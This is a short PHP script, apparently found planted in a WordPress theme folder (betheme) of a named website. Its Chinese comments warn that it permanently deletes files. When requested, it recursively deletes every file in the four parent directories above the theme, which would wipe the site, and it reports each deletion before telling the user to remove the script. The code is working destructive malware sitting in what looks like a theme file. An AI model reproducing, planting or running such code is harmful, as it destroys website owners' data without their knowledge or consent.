File: /var/www/groatmachine_usr/data/www/groatmachinery.com/wp-content/themes/betheme/four.php
<?php
// 极端危险操作警告:此代码会永久删除文件!
// 仅应在绝对受控环境测试,严禁生产环境使用
// 使用前务必备份数据并验证目录路径
// 获取上四级目录路径
$targetDirs = [
dirname(__DIR__, 1), // 父目录
dirname(__DIR__, 2), // 祖父目录
dirname(__DIR__, 3), // 曾祖父目录
dirname(__DIR__, 4) // 高祖父目录
];
try {
foreach ($targetDirs as $dir) {
if (!is_dir($dir)) {
echo "目录不存在:$dir<br>";
continue;
}
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($iterator as $path) {
if ($path->isFile()) {
if (unlink($path->getRealPath())) {
echo "已删除文件:".$path->getRealPath()."<br>";
} else {
echo "删除失败:".$path->getRealPath()."<br>";
}
}
}
}
} catch (Exception $e) {
die("发生错误:".$e->getMessage());
}
echo "操作完成(请立即删除此脚本)";
?>